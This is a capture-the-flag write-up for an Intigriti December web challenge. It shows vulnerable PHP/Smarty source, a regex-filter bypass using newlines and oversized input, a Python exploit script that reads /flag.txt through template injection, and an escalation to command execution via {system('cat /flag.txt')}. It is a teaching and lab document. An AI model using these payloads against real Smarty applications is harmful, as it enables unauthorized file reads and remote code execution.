Wednesday, December 20, 2023

Intigriti's December challenge by protag

Intigriti brings us monthly web challenge with really interesting problems.

The Challenge

This challenge was mostly the same of the 1337up CTF 2023, called Smarty Pants, which I solved :)

It comes with the following PHP source:

<?php
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';

if(!isset($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->display('index.tpl');
    exit();
}

// returns true if data is malicious
function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->assign('error', 'Malicious Inputs Detected');
    $smarty->display('index.tpl');
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

It basically:

  • Gets a string from a POST
  • Blocks some SSTI and XSS, using a RegEx filter.
  • Uses our string as a Template for the Smarty template engine.

The Smarty template allows us to use advanced functions, by using template tags enclosed by curly braces: { and }. e.g:

<h1>{$title|escape}</h1>
<ul>
    {foreach $cities as $city}
        <li>{$city.name|escape} ({$city.population})</li>
    {foreachelse}
        <li>no cities found</li>        
    {/foreach}
</ul>

Solution for the CTF

The Smarty documentation gives us a simple solution for getting the flag:

{fetch}

The fetch function allows us to display the contents of a file, as simple as that:

{fetch file='/flag.txt'}

This template tag fetches the flag, but is blocked by the Regex filter. On the CTF challenge, the filter was this:

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/

To bypass this filter, I used an unintended solution, which was a line break:

{fetch file='/flag.txt'
}

That gave us the CTF challenge flag.

INTIGRITI{php_4nd_1ts_many_f00tgun5}

Solution for the December challenge

On the December challenge, there was a small, but deadly change on the RegEx filter. The s in the end:

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s

This small modifier makes the . match the newline, which blocks our previous solution.

While studying ways to bypass the regex, I found that big strings can break the regex: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#length-error-bypass

So, the plan was to send a huge string. At first, I was blocked by HTTP 413, but working on the size, I found the right size to break it.

"{fetch file='/flag.txt'}"+("a"*1000000)

This is basically the same payload, with a lot of a’s after it.

The final exploit was this:

import requests

data = {
    'data': "{fetch file='/flag.txt'}"+("a"*1000000),
}

response = requests.post('https://challenge-1223.intigriti.io/challenge.php', data=data)

print(response.status_code)
print(response.text)

And by running it, we get the flag:

$ python int_dez23.py | cut -c-100
200
INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Flag INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}

Increasing the impact

Just found I can also RCE with the {system} function.

{system('cat /flag.txt')}aaa...
python int_dez23.py | cut -c-100
200
challenge.php
index.php
resources

The impact is higher :)

References

Capture the Flag , Web , Writeup